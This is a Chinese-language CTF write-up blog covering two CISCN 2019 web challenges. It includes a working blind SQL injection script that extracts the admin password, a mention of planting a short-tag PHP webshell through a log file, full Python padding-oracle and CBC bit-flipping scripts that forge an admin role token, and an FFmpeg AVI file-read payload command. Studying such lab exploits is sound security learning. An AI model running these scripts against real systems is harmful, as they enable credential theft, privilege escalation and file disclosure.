buuoj刷题笔记[CISCN2019(二)]padding oracle初学

[CISCN2019 总决赛 Day2 Web1]Easyweb

  1. bak源码泄露
  2. sql注入
  3. 文件上传,短标签shell日志写入

image.php.bak源码泄露

需要想办法逃逸单引号注入'\0' => addslashes => '\\\0' => str_replace => '\' 后一个单引号会被转义,前一个单引号与path字段单引号拼接。造成sql注入

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$sql="select * from images where id='{$id}' or path='{$path}'";
if (preg_match("/load/i",$sql))
{
    die("What's your problem?");
}

$result=mysqli_query($con,$sql);
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

//secure the path
$count=preg_match("/(\.\.)|(config)/i",$row["path"]);
if ($count>0)
{
    die("What's your problem?");
}

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

EXP

注出账号密码

username: admin

password: 158f494325ac421c0f4a

import requests
import string

str1 = string.printable
tmp=''
for i in range(1,50):
    for a in str1:
        url = "http://1ac0ae3f-0633-427c-b215-229c94f5273d.node2.buuoj.cn.wetolink.com:82/image.php"
        param={
            'id':'\\0',
            'path':f' or ascii(substr((select group_concat(password) from users),{i},1))={ord(a)}-- '
            #'path':f' or length(database())=11-- '
        }
        rep = requests.get(url,params=param)
        print(param)
        #print(rep.text)
        if rep.text != '':
            tmp+=a
            print('[+] : ' +tmp)

传入的文件内容会被写进日志内文件,使用短标签写入一句话木马

1569579769845

1569579860807

padding oracle

参考链接:https://www.freebuf.com/articles/database/150606.html

1569586375256

服务器解密过程

服务器从右往左解密,红色圈圈为AES解密后的中间值。前一个Ciphertext是都是相应解密的iv

padding oracle攻击的本质

其实就是通过传递密文以及自己猜测的IV值,通过观察服务器对padding判断的结果,进而反推出中间值,最后用中间值与正确的IV异或得到明文.也就是说这个攻击直接跳过了AES,即我们未获得key值也能够得到明文。

padding添加原理

由于是分组加解密,当块中的字节数不同时候需要添加padding以满足加解密格式。分组要求每个块的大小都要相同

服务器验证明文正确方式

padding的值与添加的字节数相同。PKCS#5标准来说,一般缺少几位,就填充几位那个数字

比如:三位空缺,则这三位都要填上0x03。如果padding规则对不上就会报错,如下。

  1. 如果解密过程没有问题,明文验证(如用户名密码验证)也通过,则会返回正常 HTTP 200
  2. 如果解密过程没有问题,但是明文验证出错(如用户名密码验证),则还是会返回 HTTP 200,只是内容上是提示用户用户名密码错误
  3. 如果解密过程出问题了,比如Padding规则核对不上,则会爆出 HTTP 500错误。

1569586327792

根据上面服务器判断解密过程是否正确的条件来看,只要最后padding值与个数相对应即可

意味着如下公式成立:

C1 ^ 中间值的最后一位 = 0×01

那么按照异或运算的性质,我们不难得到:

中间值的最后一位 = C1 ^ 0×01

逻辑

用伪造的c1替换原来的c1
循环一思路:伪造初始向量c1 ^ 中间值最后一位 =0x01 服务器状态码正常

		=> 继而得到中间值

循环第二次至第N次循环:伪造初始向量c1 = 上一步得到的中间值最后一位 ^ 0x02

最后把得到的所有中间值与原iv异或得到明文

0:16 可加可不加,服务器是从右向左解密

1569640134942

[CISCN2019 东北赛区 Day2 Web3]Point System

考点

wp : https://www.zhaoj.in/read-6057.html

  1. 敏感文件泄露(Robots.txt)
  2. Padding Oracle 明文推断 & CBC 翻转攻击
  3. FFMpeg 任意文件读取漏洞

meta的作用

meta里的数据是供机器解读的,告诉机器该如何解析这个页面,还有一个用途是可以添加服务器发送到浏览器的http头部内容

调用界面注册api,发现是作用在内网中,需要外部调用注册

1569581860309

登录后权限不足

1569581890582

login登录后返回token

1569582366649

'user_role':3 这里3指用户权限,需要更改为1

1569582395002

登录login脚本后,将返回的token作为info脚本访问的key。info Response返回头显示user_role为3,权限不足

1569582407368

padding oracle攻击思路

结题思路:需要先得出明文,确定3在密文中的位置,在通过cbc翻转置为1,即可有权限登录服务器,其实这里只要得到第一块block含有我们需要的讯息,后面就不需要解密

eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVSHNGUVI0bG41VkZDOUwwOWVjaGtZaFRXUWdpd1pvaGoyN0pXdDk4LysxWmdnU2d1WWRLcTJnYXZ3MXRVLzF3NWptdXM3WHo4WDgxMnlESlU4cWtiL3N1NW9wUStiQW1WdXRrNmhKdkc2Q05PNXNpVVpJdTVFTmsrSXFBbU9yWlhBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoiZGhIaHlXS3BqT2VwbUs0RTFXdkVjUmpKSUhNR3pNcWgiLCJleHBpcmVfaW4iOjE1Njk1ODkzNzd9
解码
{"signed_key":"SUN4a1NpbmdEYW5jZVJhUHsFQR4ln5VFC9L09echkYhTWQgiwZohj27JWt98/+1ZggSguYdKq2gavw1tU/1w5jmus7Xz8X812yDJU8qkb/su5opQ+bAmVutk6hJvG6CNO5siUZIu5ENk+IqAmOrZXA==","role":3,"user_id":1,"payload":"dhHhyWKpjOepmK4E1WvEcRjJIHMGzMqh","expire_in":1569589377}

signed_key解码为乱码,

解密exp

#!/usr/bin/python2.7
# -*- coding:utf8 -*-

import requests
import base64
import json

host = "127.0.0.1"
port = 8233

def xor(a, b):
    return "".join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in range(len(a))])

def padoracle(key):
    user_key_decode = base64.b64decode(key)
    user_key_json_decode = json.loads(user_key_decode)

    signed_key = user_key_json_decode['signed_key']
    signed_key_decoed = base64.b64decode(signed_key)

    url = "http://" + host + ":" + str(port) + "/frontend/api/v1/user/info"

    N = 16

    total_plain = ''

    for block in range(0, int(len(signed_key) / 16) - 3):

        token = ''

        get = ""

        cipher = signed_key_decoed[16 + block * 16:32 + block * 16]

        for i in range(1, N + 1):

            for j in range(0, 256):

                token = signed_key_decoed[block * 16:16 + block * 16]

                padding = xor(get, chr(i) * (i - 1))

                c = (chr(0) * (16 - i)) + chr(j) + padding + cipher

                token = base64.b64encode(token + c)

                user_key_json_decode['signed_key'] = token
                header = {'Key': base64.b64encode(json.dumps(user_key_json_decode))}

                res = requests.get(url, headers=header)

                if res.json()['code'] != 205:
                    get = chr(j ^ i) + get

                    break

        plain = xor(get, signed_key_decoed[block * 16:16 + block * 16])

        total_plain += plain

    return total_plain

plain_text = padoracle("eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVRm1zclQ3a2FGM1FXL29vWDdVcVRpZ215TVl5MFFZK1RlSzMya3hGZW94ay9ZNnkzaG0vaEJXK2lMaXVLdnNNS1NPK1ZQQ0pGSTdPbHJTL0dsYThWWmh1Y3p2NSs4djNXckNJSE5TbVJOS2xBRjREdlI2bDBSbFVaajB6WjgzWGlBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoid2x1NUUwN1piR3pUNDVRUEhORzVReUpQT2UyNjUwalgiLCJleHBpcmVfaW4iOjE1NTY4NTM2Mzh9")
print(plain_text)
#{"role":3,"user_id":1,"payload":"wlu5E07ZbGzT45QPHNG5QyJPOe2650jX","expire_in":1556853638}

exp CBC翻转

#!/usr/bin/python2.7
# -*- coding:utf8 -*-

import requests
import base64
import json

host = "127.0.0.1"
port = 8233

def cbc_attack(key, block, origin_content, target_content):
    user_key_decode = base64.b64decode(key)
    user_key_json_decode = json.loads(user_key_decode)

    signed_key = user_key_json_decode['signed_key']
    cipher_o = base64.b64decode(signed_key)

    if block > 0:
        iv_prefix = cipher_o[:block * 16]
    else:
        iv_prefix = ''

    iv = cipher_o[block * 16:16 + block * 16]

    cipher = cipher_o[16 + block * 16:]

    iv_array = bytearray(iv)
    for i in range(0, 16):
        iv_array[i] = iv_array[i] ^ ord(origin_content[i]) ^ ord(target_content[i])

    iv = bytes(iv_array)

    user_key_json_decode['signed_key'] = base64.b64encode(iv_prefix + iv + cipher)

    return base64.b64encode(json.dumps(user_key_json_decode))

def get_user_info(key):
    r = requests.post("http://" + host + ":" + str(port) + "/frontend/api/v1/user/info", headers = {"Key": key})
    if r.json()['code'] == 100:
        print("获取成功!")
    return r.json()['data']

def modify_role_palin(key, role):
    user_key_decode = base64.b64decode(user_key)
    user_key_json_decode = json.loads(user_key_decode)
    user_key_json_decode['role'] = role
    return base64.b64encode(json.dumps(user_key_json_decode))

print("翻转 Key:")
user_key = cbc_attack("eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVSHNGUVI0bG41VkZDOUwwOWVjaGtZaFRXUWdpd1pvaGoyN0pXdDk4LysxWkV0UERnUzJqU2lhWm1wNEhQUWhvMDdwTzEzSHlHeXI4TExXcUFleDY1TzFQM09GQ2FHVSt3cE1iYyticTdXR2Y4MUN4Ujh2dEpGNXhnQ2YyRHVyL2d3PT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoiaWtJVmsyd21DQWc0cVpqV0tGMk5nT25aR3dyT3V2eFQiLCJleHBpcmVfaW4iOjE1Njk2NDUwMzF9", 0, '{"role":3,"user_', '{"role":1,"user_')
user_key = modify_role_palin(user_key, 1)
print(user_key)
print("测试拉取用户信息:")
user_info = get_user_info(user_key)
print(user_info)
#Key: eyJleHBpcmVfaW4iOiAxNTY5NjQ1MDMxLCAicm9sZSI6IDEsICJ1c2VyX2lkIjogMSwgInBheWxvYWQiOiAiaWtJVmsyd21DQWc0cVpqV0tGMk5nT25aR3dyT3V2eFQiLCAic2lnbmVkX2tleSI6ICJTVU40YTFOcGJtZEdZVzVqWlZKaFVIc0ZRUjRsbjVWRkM5TDA5ZWNoa1loVFdRZ2l3Wm9oajI3Sld0OTgvKzFaRXRQRGdTMmpTaWFabXA0SFBRaG8wN3BPMTNIeUd5cjhMTFdxQWV4NjVPMVAzT0ZDYUdVK3dwTWJjK2JxN1dHZjgxQ3hSOHZ0SkY1eGdDZjJEdXIvZ3c9PSJ9

添加翻转后的cookie,刷新进入后台界面

1569638915896

FFMpeg漏洞读取文件

https://github.com/neex/ffmpeg-avi-m3u-xbin/blob/master/gen_xbin_avi.py 来生成 payload

python3 gen_xbin_avi.py file:///flag get.avi

上传avi,在下载下来

1569640809772

flag{2b38832a-9409-4742-8297-996f0ecf9126}

1569640797530


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!